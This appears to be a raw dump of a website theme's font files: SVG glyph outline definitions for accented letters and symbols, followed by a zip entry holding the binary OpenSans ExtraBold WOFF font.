<glyph unicode="&#xe5;" horiz-adv-x="1188" d="M90 317q0 171 127 258t387 95l191 6v59q0 106 -49.5 158.5t-153.5 52.5q-85 0 -163 -25t-150 -59l-76 168q90 47 197 71.5t202 24.5q211 0 318.5 -92t107.5 -289v-745h-168l-47 154h-8q-80 -101 -161 -137.5t-208 -36.5q-163 0 -254.5 88t-91.5 249zM334 315 q0 -74 44 -114.5t132 -40.5q128 0 205.5 71.5t77.5 200.5v96l-142 -6q-166 -6 -241.5 -55.5t-75.5 -151.5zM366 1466q0 101 63.5 163.5t172.5 62.5q104 0 171.5 -62t67.5 -162q0 -102 -65.5 -165.5t-173.5 -63.5t-172 62.5t-64 164.5zM495 1466q0 -106 107 -106 q46 0 76 27.5t30 78.5q0 50 -30 78.5t-76 28.5q-47 0 -77 -28.5t-30 -78.5z" />
<glyph unicode="&#xe6;" horiz-adv-x="1817" d="M90 317q0 172 121.5 258.5t370.5 94.5l188 6v76q0 194 -201 194q-141 0 -307 -82l-74 166q88 47 192.5 71.5t203.5 24.5q241 0 340 -155q120 155 346 155q206 0 328 -134.5t122 -362.5v-127h-712q10 -336 301 -336q184 0 356 80v-191q-86 -41 -171.5 -58t-195.5 -17 q-140 0 -248.5 54.5t-175.5 164.5q-94 -125 -190.5 -172t-241.5 -47q-165 0 -258.5 90t-93.5 247zM334 315q0 -155 166 -155q124 0 196 72.5t72 199.5v96l-135 -6q-155 -6 -227 -54.5t-72 -152.5zM1014 670h473q0 130 -58.5 204t-162.5 74q-112 0 -177.5 -69.5t-74.5 -208.5 z" />
<glyph unicode="&#xe7;" horiz-adv-x="1014" d="M102 547q0 279 136.5 429t394.5 150q175 0 315 -65l-71 -189q-149 58 -246 58q-287 0 -287 -381q0 -186 71.5 -279.5t209.5 -93.5q157 0 297 78v-205q-63 -37 -134.5 -53t-173.5 -16q-251 0 -381.5 146.5t-130.5 420.5zM356 -340q54 -14 123 -14q54 0 85.5 16.5 t31.5 61.5q0 85 -179 110l84 166h152l-41 -88q80 -21 125 -68.5t45 -113.5q0 -222 -305 -222q-66 0 -121 15v137z" />
<glyph unicode="&#xe8;" horiz-adv-x="1180" d="M102 545q0 271 135 426t371 155q219 0 346 -133t127 -366v-127h-737q5 -161 87 -247.5t231 -86.5q98 0 182.5 18.5t181.5 61.5v-191q-86 -41 -174 -58t-201 -17q-258 0 -403.5 150.5t-145.5 414.5zM348 670h502q-2 137 -66 207.5t-176 70.5t-179.5 -71t-80.5 -207z M281 1548v21h273q38 -70 103.5 -161t109.5 -142v-25h-158q-69 52 -174.5 150.5t-153.5 156.5z" />
<glyph unicode="&#xe9;" horiz-adv-x="1180" d="M102 545q0 271 135 426t371 155q219 0 346 -133t127 -366v-127h-737q5 -161 87 -247.5t231 -86.5q98 0 182.5 18.5t181.5 61.5v-191q-86 -41 -174 -58t-201 -17q-258 0 -403.5 150.5t-145.5 414.5zM348 670h502q-2 137 -66 207.5t-176 70.5t-179.5 -71t-80.5 -207z M458 1241v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xea;" horiz-adv-x="1180" d="M102 545q0 271 135 426t371 155q219 0 346 -133t127 -366v-127h-737q5 -161 87 -247.5t231 -86.5q98 0 182.5 18.5t181.5 61.5v-191q-86 -41 -174 -58t-201 -17q-258 0 -403.5 150.5t-145.5 414.5zM348 670h502q-2 137 -66 207.5t-176 70.5t-179.5 -71t-80.5 -207z M227 1241v25q191 198 254 303h260q63 -110 256 -303v-25h-159q-123 73 -228 180q-103 -103 -225 -180h-158z" />
<glyph unicode="&#xeb;" horiz-adv-x="1180" d="M102 545q0 271 135 426t371 155q219 0 346 -133t127 -366v-127h-737q5 -161 87 -247.5t231 -86.5q98 0 182.5 18.5t181.5 61.5v-191q-86 -41 -174 -58t-201 -17q-258 0 -403.5 150.5t-145.5 414.5zM348 670h502q-2 137 -66 207.5t-176 70.5t-179.5 -71t-80.5 -207z M307 1399q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88zM700 1399q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#xec;" horiz-adv-x="571" d="M168 0v1106h235v-1106h-235zM-69 1548v21h273q38 -70 103.5 -161t109.5 -142v-25h-158q-69 52 -174.5 150.5t-153.5 156.5z" />
<glyph unicode="&#xed;" horiz-adv-x="571" d="M168 0v1106h235v-1106h-235zM156 1241v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xee;" horiz-adv-x="571" d="M168 0v1106h235v-1106h-235zM-100 1241v25q191 198 254 303h260q63 -110 256 -303v-25h-159q-123 73 -228 180q-103 -103 -225 -180h-158z" />
<glyph unicode="&#xef;" horiz-adv-x="571" d="M168 0v1106h235v-1106h-235zM-25 1399q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88zM368 1399q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#xf0;" horiz-adv-x="1243" d="M102 481q0 231 131 365.5t351 134.5q214 0 301 -111l8 4q-62 189 -227 345l-250 -150l-88 133l204 119q-86 59 -167 102l84 146q140 -63 258 -144l231 138l88 -129l-188 -113q152 -140 231.5 -330t79.5 -424q0 -279 -137.5 -433t-388.5 -154q-235 0 -378 136t-143 365z M342 477q0 -153 74 -234t211 -81q148 0 215 91t67 269q0 127 -75.5 202t-206.5 75q-151 0 -218 -82t-67 -240z" />
<glyph unicode="&#xf1;" horiz-adv-x="1300" d="M168 0v1106h184l33 -145h12q50 79 142 122t204 43q398 0 398 -405v-721h-236v680q0 128 -51.5 191t-163.5 63q-149 0 -218 -88t-69 -295v-551h-235zM269 1239q12 139 77.5 212t167.5 73q43 0 84 -17.5t80 -39t75.5 -39t70.5 -17.5q79 0 106 115h125q-12 -134 -77 -209.5 t-169 -75.5q-42 0 -82.5 17.5t-79.5 39t-76 39t-71 17.5q-81 0 -109 -115h-122z" />
<glyph unicode="&#xf2;" horiz-adv-x="1251" d="M102 555q0 269 138 420t389 151q240 0 380 -154.5t140 -416.5q0 -271 -139 -423t-387 -152q-155 0 -274 70t-183 201t-64 304zM344 555q0 -383 283 -383q280 0 280 383q0 379 -282 379q-148 0 -214.5 -98t-66.5 -281zM293 1548v21h273q38 -70 103.5 -161t109.5 -142v-25 h-158q-69 52 -174.5 150.5t-153.5 156.5z" />
<glyph unicode="&#xf3;" horiz-adv-x="1251" d="M102 555q0 269 138 420t389 151q240 0 380 -154.5t140 -416.5q0 -271 -139 -423t-387 -152q-155 0 -274 70t-183 201t-64 304zM344 555q0 -383 283 -383q280 0 280 383q0 379 -282 379q-148 0 -214.5 -98t-66.5 -281zM473 1241v25q57 70 117.5 156t95.5 147h273v-21 q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xf4;" horiz-adv-x="1251" d="M102 555q0 269 138 420t389 151q240 0 380 -154.5t140 -416.5q0 -271 -139 -423t-387 -152q-155 0 -274 70t-183 201t-64 304zM344 555q0 -383 283 -383q280 0 280 383q0 379 -282 379q-148 0 -214.5 -98t-66.5 -281zM239 1241v25q191 198 254 303h260q63 -110 256 -303 v-25h-159q-123 73 -228 180q-103 -103 -225 -180h-158z" />
<glyph unicode="&#xf5;" horiz-adv-x="1251" d="M102 555q0 269 138 420t389 151q240 0 380 -154.5t140 -416.5q0 -271 -139 -423t-387 -152q-155 0 -274 70t-183 201t-64 304zM344 555q0 -383 283 -383q280 0 280 383q0 379 -282 379q-148 0 -214.5 -98t-66.5 -281zM235 1239q12 139 77.5 212t167.5 73q43 0 84 -17.5 t80 -39t75.5 -39t70.5 -17.5q79 0 106 115h125q-12 -134 -77 -209.5t-169 -75.5q-42 0 -82.5 17.5t-79.5 39t-76 39t-71 17.5q-81 0 -109 -115h-122z" />
<glyph unicode="&#xf6;" horiz-adv-x="1251" d="M102 555q0 269 138 420t389 151q240 0 380 -154.5t140 -416.5q0 -271 -139 -423t-387 -152q-155 0 -274 70t-183 201t-64 304zM344 555q0 -383 283 -383q280 0 280 383q0 379 -282 379q-148 0 -214.5 -98t-66.5 -281zM311 1399q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31 t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88zM704 1399q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#xf7;" d="M96 633v178h977v-178h-977zM457 373q0 64 31.5 99.5t95.5 35.5q61 0 93 -36t32 -99t-34 -100t-91 -37q-60 0 -93.5 35.5t-33.5 101.5zM457 1071q0 64 31.5 99.5t95.5 35.5q61 0 93 -36t32 -99t-34 -100t-91 -37q-60 0 -93.5 35.5t-33.5 101.5z" />
<glyph unicode="&#xf8;" horiz-adv-x="1251" d="M102 555q0 269 138 420t389 151q144 0 258 -63l69 100l136 -92l-78 -108q135 -152 135 -408q0 -271 -139 -423t-387 -152q-144 0 -250 57l-76 -109l-135 90l82 117q-142 155 -142 420zM344 555q0 -135 37 -219l391 559q-60 39 -147 39q-148 0 -214.5 -98t-66.5 -281z M487 205q54 -33 140 -33q280 0 280 383q0 121 -33 203z" />
<glyph unicode="&#xf9;" horiz-adv-x="1300" d="M158 383v723h237v-682q0 -127 52 -190.5t163 -63.5q148 0 217.5 88.5t69.5 296.5v551h236v-1106h-185l-33 145h-12q-49 -77 -139.5 -121t-206.5 -44q-201 0 -300 100t-99 303zM289 1548v21h273q38 -70 103.5 -161t109.5 -142v-25h-158q-69 52 -174.5 150.5t-153.5 156.5z " />
<glyph unicode="&#xfa;" horiz-adv-x="1300" d="M158 383v723h237v-682q0 -127 52 -190.5t163 -63.5q148 0 217.5 88.5t69.5 296.5v551h236v-1106h-185l-33 145h-12q-49 -77 -139.5 -121t-206.5 -44q-201 0 -300 100t-99 303zM501 1241v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z " />
<glyph unicode="&#xfb;" horiz-adv-x="1300" d="M158 383v723h237v-682q0 -127 52 -190.5t163 -63.5q148 0 217.5 88.5t69.5 296.5v551h236v-1106h-185l-33 145h-12q-49 -77 -139.5 -121t-206.5 -44q-201 0 -300 100t-99 303zM260 1241v25q191 198 254 303h260q63 -110 256 -303v-25h-159q-123 73 -228 180 q-103 -103 -225 -180h-158z" />
<glyph unicode="&#xfc;" horiz-adv-x="1300" d="M158 383v723h237v-682q0 -127 52 -190.5t163 -63.5q148 0 217.5 88.5t69.5 296.5v551h236v-1106h-185l-33 145h-12q-49 -77 -139.5 -121t-206.5 -44q-201 0 -300 100t-99 303zM332 1399q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32 q-48 0 -81.5 29t-33.5 88zM725 1399q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#xfd;" horiz-adv-x="1098" d="M0 1106h256l225 -627q51 -134 68 -252h8q9 55 33 133.5t254 745.5h254l-473 -1253q-129 -345 -430 -345q-78 0 -152 17v186q53 -12 121 -12q170 0 239 197l41 104zM401 1241v25q57 70 117.5 156t95.5 147h273v-21q-52 -61 -155.5 -157.5t-174.5 -149.5h-156z" />
<glyph unicode="&#xfe;" horiz-adv-x="1276" d="M168 -492v2048h235v-430l-7 -138l-3 -27h10q61 86 142.5 125.5t187.5 39.5q206 0 322 -151t116 -420q0 -272 -116.5 -423.5t-321.5 -151.5q-219 0 -330 149h-14l8 -72l6 -92v-457h-235zM403 555q0 -202 64 -292.5t209 -90.5q254 0 254 385q0 190 -61.5 283.5t-194.5 93.5 q-142 0 -206.5 -82t-64.5 -260v-37z" />
<glyph unicode="&#xff;" horiz-adv-x="1098" d="M0 1106h256l225 -627q51 -134 68 -252h8q9 55 33 133.5t254 745.5h254l-473 -1253q-129 -345 -430 -345q-78 0 -152 17v186q53 -12 121 -12q170 0 239 197l41 104zM239 1399q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29 t-33.5 88zM632 1399q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#x131;" horiz-adv-x="571" d="M168 0v1106h235v-1106h-235z" />
<glyph unicode="&#x152;" horiz-adv-x="1942" d="M121 735q0 360 172 555t491 195q115 0 209 -23h826v-202h-576v-398h539v-200h-539v-459h576v-203h-820q-102 -20 -211 -20q-320 0 -493.5 196.5t-173.5 558.5zM371 733q0 -269 106 -409t314 -140q129 0 213 35v1024q-80 37 -211 37q-208 0 -315 -139t-107 -408z" />
<glyph unicode="&#x153;" horiz-adv-x="1966" d="M102 555q0 272 137 421.5t382 149.5q121 0 223 -49t168 -145q131 194 379 194q221 0 349 -133.5t128 -365.5v-127h-738q11 -164 85.5 -249t228.5 -85q102 0 187 18.5t181 61.5v-191q-84 -40 -171.5 -57.5t-202.5 -17.5q-281 0 -420 194q-132 -194 -400 -194 q-236 0 -376 155t-140 420zM344 555q0 -189 65.5 -286t211.5 -97q141 0 206.5 95.5t65.5 283.5q0 192 -66 287.5t-211 95.5q-143 0 -207.5 -95t-64.5 -284zM1137 670h497q0 134 -63 206t-178 72q-110 0 -177.5 -69.5t-78.5 -208.5z" />
<glyph unicode="&#x178;" horiz-adv-x="1212" d="M0 1462h260l346 -667l346 667h260l-487 -895v-567h-240v559zM293 1737q0 62 33.5 89.5t81.5 27.5q53 0 84.5 -31t31.5 -86q0 -53 -32 -85t-84 -32q-48 0 -81.5 29t-33.5 88zM686 1737q0 62 33.5 89.5t81.5 27.5q53 0 85 -31t32 -86q0 -54 -33 -85.5t-84 -31.5 q-48 0 -81.5 29t-33.5 88z" />
<glyph unicode="&#x2c6;" horiz-adv-x="1227" d="M227 1241v25q191 198 254 303h260q63 -110 256 -303v-25h-159q-123 73 -228 180q-103 -103 -225 -180h-158z" />
<glyph unicode="&#x2da;" horiz-adv-x="1182" d="M352 1466q0 101 63.5 163.5t172.5 62.5q104 0 171.5 -62t67.5 -162q0 -102 -65.5 -165.5t-173.5 -63.5t-172 62.5t-64 164.5zM481 1466q0 -106 107 -106q46 0 76 27.5t30 78.5q0 50 -30 78.5t-76 28.5q-47 0 -77 -28.5t-30 -78.5z" />
<glyph unicode="&#x2dc;" horiz-adv-x="1227" d="M236 1239q12 139 77.5 212t167.5 73q43 0 84 -17.5t80 -39t75.5 -39t70.5 -17.5q79 0 106 115h125q-12 -134 -77 -209.5t-169 -75.5q-42 0 -82.5 17.5t-79.5 39t-76 39t-71 17.5q-81 0 -109 -115h-122z" />
<glyph unicode="&#x2000;" horiz-adv-x="953" />
<glyph unicode="&#x2001;" horiz-adv-x="1907" />
<glyph unicode="&#x2002;" horiz-adv-x="953" />
<glyph unicode="&#x2003;" horiz-adv-x="1907" />
<glyph unicode="&#x2004;" horiz-adv-x="635" />
<glyph unicode="&#x2005;" horiz-adv-x="476" />
<glyph unicode="&#x2006;" horiz-adv-x="317" />
<glyph unicode="&#x2007;" horiz-adv-x="317" />
<glyph unicode="&#x2008;" horiz-adv-x="238" />
<glyph unicode="&#x2009;" horiz-adv-x="381" />
<glyph unicode="&#x200a;" horiz-adv-x="105" />
<glyph unicode="&#x2010;" horiz-adv-x="659" d="M72 449v200h514v-200h-514z" />
<glyph unicode="&#x2011;" horiz-adv-x="659" d="M72 449v200h514v-200h-514z" />
<glyph unicode="&#x2012;" horiz-adv-x="659" d="M72 449v200h514v-200h-514z" />
<glyph unicode="&#x2013;" horiz-adv-x="1024" d="M82 455v190h860v-190h-860z" />
<glyph unicode="&#x2014;" horiz-adv-x="2048" d="M82 455v190h1884v-190h-1884z" />
<glyph unicode="&#x2018;" horiz-adv-x="395" d="M25 983q20 83 71 224t105 255h170q-64 -256 -101 -501h-233z" />
<glyph unicode="&#x2019;" horiz-adv-x="395" d="M25 961q69 289 100 501h231l15 -22q-53 -209 -176 -479h-170z" />
<glyph unicode="&#x201a;" horiz-adv-x="549" d="M63 -264q69 270 103 502h231l15 -23q-48 -186 -176 -479h-173z" />
<glyph unicode="&#x201c;" horiz-adv-x="813" d="M25 983q20 83 71 224t105 255h170q-64 -256 -101 -501h-233zM440 983q53 203 178 479h170q-69 -296 -100 -501h-233z" />
<glyph unicode="&#x201d;" horiz-adv-x="813" d="M25 961q69 289 100 501h231l15 -22q-53 -209 -176 -479h-170zM440 961q69 271 103 501h231l14 -22q-53 -209 -176 -479h-172z" />
<glyph unicode="&#x201e;" horiz-adv-x="944" d="M43 -264q66 260 102 502h232l14 -23q-55 -214 -176 -479h-172zM461 -264q66 260 102 502h232l14 -23q-48 -186 -176 -479h-172z" />
<glyph unicode="&#x2022;" horiz-adv-x="770" d="M131 748q0 138 66 210t188 72q121 0 187.5 -72.5t66.5 -209.5q0 -135 -67 -209t-187 -74t-187 72.5t-67 210.5z" />
<glyph unicode="&#x2026;" horiz-adv-x="1677" d="M133 125q0 73 38 112t110 39q73 0 111 -40.5t38 -110.5q0 -71 -38.5 -112.5t-110.5 -41.5t-110 41t-38 113zM690 125q0 73 38 112t110 39q73 0 111 -40.5t38 -110.5q0 -71 -38.5 -112.5t-110.5 -41.5t-110 41t-38 113zM1247 125q0 73 38 112t110 39q73 0 111 -40.5 t38 -110.5q0 -71 -38.5 -112.5t-110.5 -41.5t-110 41t-38 113z" />
<glyph unicode="&#x202f;" horiz-adv-x="381" />
<glyph unicode="&#x2039;" horiz-adv-x="688" d="M82 535v26l356 432l168 -94l-282 -350l282 -348l-168 -97z" />
<glyph unicode="&#x203a;" horiz-adv-x="688" d="M80 201l282 348l-282 350l168 94l358 -432v-26l-358 -431z" />
<glyph unicode="&#x2044;" horiz-adv-x="266" d="M-393 0l858 1462h190l-856 -1462h-192z" />
<glyph unicode="&#x205f;" horiz-adv-x="476" />
<glyph unicode="&#x2074;" horiz-adv-x="743" d="M16 762v127l396 579h188v-563h125v-143h-125v-176h-192v176h-392zM178 905h230v178q0 97 6 197q-52 -104 -88 -158z" />
<glyph unicode="&#x20ac;" horiz-adv-x="1188" d="M63 494v153h136l-2 37v37l2 65h-136v154h150q38 251 191 394t395 143q200 0 358 -88l-84 -187q-154 76 -274 76q-141 0 -230.5 -84t-119.5 -254h456v-154h-471l-2 -45v-55l2 -39h408v-153h-391q64 -312 364 -312q143 0 293 62v-203q-131 -61 -305 -61q-241 0 -391.5 132 t-196.5 382h-152z" />
<glyph unicode="&#x2122;" horiz-adv-x="1561" d="M27 1333v129h553v-129h-205v-592h-146v592h-202zM635 741v721h217l178 -534l187 534h210v-721h-147v414l4 129h-6l-193 -543h-122l-185 543h-6l4 -119v-424h-141z" />
<glyph unicode="&#xe000;" horiz-adv-x="1105" d="M0 1105h1105v-1105h-1105v1105z" />
<glyph unicode="&#xfb01;" horiz-adv-x="1315" d="M35 928v110l182 72v72q0 196 92 290.5t281 94.5q124 0 244 -41l-62 -178q-87 28 -166 28q-80 0 -116.5 -49.5t-36.5 -148.5v-72h270v-178h-270v-928h-236v928h-182zM897 1399q0 63 34.5 97t98.5 34q62 0 96.5 -34t34.5 -97q0 -60 -34.5 -94.5t-96.5 -34.5 q-64 0 -98.5 34.5t-34.5 94.5zM911 0v1106h235v-1106h-235z" />
<glyph unicode="&#xfb02;" horiz-adv-x="1315" d="M35 928v110l182 72v72q0 196 92 290.5t281 94.5q124 0 244 -41l-62 -178q-87 28 -166 28q-80 0 -116.5 -49.5t-36.5 -148.5v-72h270v-178h-270v-928h-236v928h-182zM911 0v1556h235v-1556h-235z" />
<glyph unicode="&#xfb03;" horiz-adv-x="2058" d="M35 928v110l182 72v72q0 196 92 290.5t281 94.5q124 0 244 -41l-62 -178q-87 28 -166 28q-80 0 -116.5 -49.5t-36.5 -148.5v-72h270v-178h-270v-928h-236v928h-182zM778 928v110l182 72v72q0 196 92 290.5t281 94.5q124 0 244 -41l-62 -178q-87 28 -166 28 q-80 0 -116.5 -49.5t-36.5 -148.5v-72h270v-178h-270v-928h-236v928h-182zM1641 1399q0 63 34.5 97t98.5 34q62 0 96.5 -34t34.5 -97q0 -60 -34.5 -94.5t-96.5 -34.5q-64 0 -98.5 34.5t-34.5 94.5zM1655 0v1106h235v-1106h-235z" />
<glyph unicode="&#xfb04;" horiz-adv-x="2058" d="M35 928v110l182 72v72q0 196 92 290.5t281 94.5q124 0 244 -41l-62 -178q-87 28 -166 28q-80 0 -116.5 -49.5t-36.5 -148.5v-72h270v-178h-270v-928h-236v928h-182zM778 928v110l182 72v72q0 196 92 290.5t281 94.5q124 0 244 -41l-62 -178q-87 28 -166 28 q-80 0 -116.5 -49.5t-36.5 -148.5v-72h270v-178h-270v-928h-236v928h-182zM1655 0v1556h235v-1556h-235z" />
</font>
</defs></svg> PK!�_�NN?bluetheme/assets/fonts/OpenSans/OpenSans-ExtraBold-webfont.woffnu&1i�wOFFNv�FFTMl_��*GDEF� OS/2�^`�ۜ�cmap��\l�cvt �..
�<fpgm��e�/�gasp�glyf�@veMz�]headF46���(hheaF8 $�hmtxFXK�BAklocaH�����ڴmaxpJ|  �nameJ���'CpostK���- �prepM���>���x�c```d����� �4�ʟP�?C��x�c`d``�b	`b��I0�lx�c`f�ͬ����:�՘��QB3_dHcb�`b��dc�`abby���ށA!���A���~���ah��e�P``��c�e���\i
�x�c```f�`Fx�1��,����%�P��ѐ1�����-�;
\
"
R
r
J
j
�
V
.
�
%
k�0�f���S�aPG\������T�%����?�����}�1�}��̓��<8���v=��`��=��L�%�K�kI�lpm�L@�	]0(XX��98��yx����ED��%$��ed����UT��54��ut��
��ML��-,��ml����]\��=<��}|����CB��#"��cb����;�'Ϙ�xђeK��\�j���6lܼu˶��޻��(%5�~�‚�eY�����˩aX��19�έ}���:���7�ܽyk'��O�?z��5C��{-=ͽ]�&�M��0e��ه��(d`8^��2���m�?+3D�^��1.)8���x�]Q�N[A�
��� 9�����6H �.��vc9Bڍ\�b\�P Q��kh(S�M��$>�O���5��4;;�sΙ3Kʑ�wi��sH�n�f�~'��E���FF�#-63z�}���f4�N@y�[�CF�N��2?��>��<��f��Zg!=��|3ni�5�Yw�A_�:\
��T��T���\m�63�wp!"?�hj��@ӟ:�z>�b	r�l�
&��?�Dpa2]�T-3�vp��,:ؤJs��U����	��-�2KC���*1B�$�BN9w�?)P>��1o��θa��q�50�����fS�[�0~G��/ƒ>��6F�؎X
`��QU���s/���3%`y��_'�;6/em�c����6�e�ݪ\�E��wU5T��C/g��O��ᠱ���}�@�
�
���ލ��Zu�U��o5����x�Žx�?>gfv����^sO6�d	!Y�K!�	�1B@D��E�&""���H��w�h)U�3�E�K��`)���jc�"(EH��=gv��~����<�Ξ��9�=�y��{;
��G����$��k��@���llrY�Hpmf�D�D4�xB�	�L�]���%$�M��2�{eL
��A5�Gў/��~�i����/Qh���(�>҅���WK�$����vE4�.�Z5�Ւ+ڜe��h�d�1����J�tQRݺ9��F����Ě��z�E�>�*,i Z��̹y�-s�M�ʹ�m�9iƌIM3f0�e�.�ec���qȱ�da�R����f,O�6�	7E�n�+��X7�0 "À�@�,#ͥ�kg���gDW�A��������|2S����q_fV,���׸���@�洲Q��-
�t����
dd�	��nI��|�e�[�Ֆ��VѲ�'2�X3]���c��>������c-k���XQ��9���'�|�,[�4�K���>� )�zf��w�邯̶����5ᅖ�j�����o�Śi�����{�m-i><�b�U�ۋ��{�*���3;����{r񙖼��.�w��ܥ"irr��+��O럅�R��AX���As���	�Oq�:TL�_��:��~
���3���������u�_��"k�n"�5t9�жݔ.�6�ٍ�Zy�<KqeB7�qAˈh�1=hj�g��Y@U{$a��@Q��
|F�r�MZnTwZ[5�K�JKQ\@�DSװ��gm�+��)�w��3�����H��5�ϭ[-�'��@n�fW[�/�(P�I�_�fR�n�Yz����$T���y$�G`ߘ}�����cўU=*H�B$�����w�[����E7���GO����n�nl͚+&�d�/��׭�_O?�.	�U�F�߶�w�o�j�@F�[�=Xѻ4�x���7	ŗϘ���B�@X�	��x�b9e&����[A�]�c
���b)
>�7�Zp\M��k��`	X�w.��'~S\z|�¿uq!
��^�t;Tw�*e�yUˮѻ��2k�
5�_�U�$����.@Lݗ_�[�/��)�S�3�!U=$h%��^�[��9���GHyIIIqqI�x�TFJێ����;{���`�,\,��������]8�y�™�.mFyJ^���pt����͋gm%���ie�鈐/t��#�H����̭q�S�4�$�@���R �n�k��6lb�f��2����JU-tq�sB�p�3=�� �<�Q�U�/
&�/\Ʃ�*� UI2�=���h&��SVN�����N�:��7�����+׽32�l�[5����&�8��liQ����4�暚���d;Q6}b�S����ݿp�z����Ù5e�9����G��/��,��V�O>e��P�R�˝�<�5C�/K	q&�G���ݦSB��r��3R��X.T�?u�Ε�ˍV]�@�D$#XO��}�O��D���B�_�@K�Yz���w��_rQ
}l���q]6���p̆��U�h�ď�j2t��������L�v�.�s�W����1+9�4(��A�o��	tg���1�I����L�H	i.���ҶM���H�Ih�J��AO��W�I6��>�DZ�N�L�+���:A"�9�n&P��`���HV �#�َkb4a�G�ƭ6�m5Ó6+^�k��Ɨ�D�_YD��"z?='�"2�n��ч�-0���(�_�A��8pU�)��͔�	Ѓff��	��5�}��y�X��zr���:��UF։S�7������l��y���O`pebYGz�w9]/I.����^Ԭl<r�F`@
��Vw��sgM�=w���wMnn��4��i�|ZZ�S�	�$M��S��o`�˳�:X�[q�˭L��>���u���RW@�d�P�J(�|�p�5l�Ae�I'V��AL�N�`.��d]��#��>��x��K��5t��fYta߁����Bj�=�Q\FلВ�^����p�P$ֈ�5"��=��t2��'�t�R\�K�%�\!)�W�c�.y�;W�V��8k��5.㬳,0뼈8�[� �^pZ����
���ם*t�4K��rQ��nM@"�cQT�N����~"'��|��/.x���m���K'ɌG��4d�D��3��h~ea�����������5ǎfc
k5�L��2�h�{�GnM�9�3�`(0�.�u\3G���+��r�p��B�Y)�,�k�_��'�8n͡�f��ohU��g�[�ì��<bh�2��
،�R?h��U�,,:���?Y�o���ɤ|���?����q�d�O���HRW>�AR�h�^S��~pb�}��)�|U�eZ�h3[{�0��f\D�k�[�4�ߺM��Ѭ�5GW�P��d�E�E��E��x�-V����i�m�k4Q�\�h*�NLاJ1�A�!����?�9���o͢���d�BiY������vZ=�f
�M�58��O\'��jiMxm9NX�������	�L�g�E�����9|lj�82���n=�]ә�H�XʌdG��6�c�-����l��R�{����_�<vY�Cw�qä�SBu�L_z3]Z|����ENc��S�Y��G�-;�jnM��dy:�<�DA�(����b�"��@q`+K�S�t|��q٪0@T�
7����j�͊"�黢X4����LI��C_ �]���y��VG�;�>�g����Od]àڱ�_'�&Q�<��={�~��_��������o�����ࣹ�����6!���t����-��	�d�qA��r����No&��dX�*y����`��|�^��I�h�"��*Up2��I!N�\�\�]����v��`�#H>�
@��h�.�!tt�Bc:Я��pK�IY�@���z�r����$�$� ��;��V�|�%!�V�\C�h�l���h��O[<�����P�je��1-��~u�s�^0��ه��~#WU��'r�xw��e�{�A��:�5�-dE�|Co8͆�(i�ϱ��(��A2a�`��*��_@0mw"�竺_BP펃db\�w��[rTM��
S*���*���!��W@�*��M	}��r�����as�G�kx�8Y9�n�ԉ���^?G��q�2���c#5���/�o�i���La���dy9ӏ1!�.�}�r��6t$��̚�}���JA�?����<}���f�O*mi����IM3g��0
�oX#��ؿj�
B�r\w::�%(wI&�ZZd�]E�݁\:{<R(�[g5�:g�̹pF>1�yFS��^��}L��OQ�I��εo��'�'��6z��)��}��$�# �b�߀��� �!ͤ�Y���$�~K��N���j�:�ՉsڷJ��$�R��*�#m��_J��^�lp��T�0���J�$*A�Z--ނ,Kua�����bZ 7��n��Y��uk�l���`P
��՞An�8I.	�n0����9�I?E�uK��~�a��>�����o3�}�_-���-�5N[�?�Pյ�ֶe��gL��<��u���I�Ū��c��n��"�r~�h�X��)�j��D�a�dVmW�����=���.=߸�F�T��ٕYR�=֗�d�1�o� �U�{�V��G�U��d����(��oL;��W�@��Hf/ۄB�PQ;E��}J
�ܝ
��-����o������Ko�գ���=г^�_nb��W���d8D�5���uv[��9+�i�d�8}��[_�k��O,�Ц)�{�|C������ъ�o$�Ƚ�Mw�x\���)t*5�\�.t�~KM�q��b�-u�+��C�
 KL��0W��	�+�X�N>��u�x�㤺�_k�V�^�8����b�zZ���Ч� �H�p3H��.���m��DF P
(�V��邭�E��s��fx�t	�e��j�������PY����L5̱Z��SA�)o�Ded��+	�}�}w�c������)��^wþ������dڊv������cHp��l������KObg�%e1�2����`�`v(Y1���TAЫ�
� W���#N�����a�2ঽ�_���H�?��Lx�fz��Ǘ�Ӧ�%4>������kT���ਬ��*�1n6*+��B뉑уT������"�JVҹt˘	��O�\h�K����"2��O�z@�2���B�&�3��.�&4q�2� �
��;��D�ָ��l`h�
I�ְ��7�qcv��L�d/AN�0}A��x��	�A�0�П������o��m���}��m�h����o*-��7�J��4��4�?�OFr��應'<��D���xt0�}�~[k\ene�=�@��ɣ�Wu����NI��Ep˪d�$�u`��)$��*��7�l%s�?iŎ�����'���ĥ�2���SdYߣ}o�_?��X���r_����lk
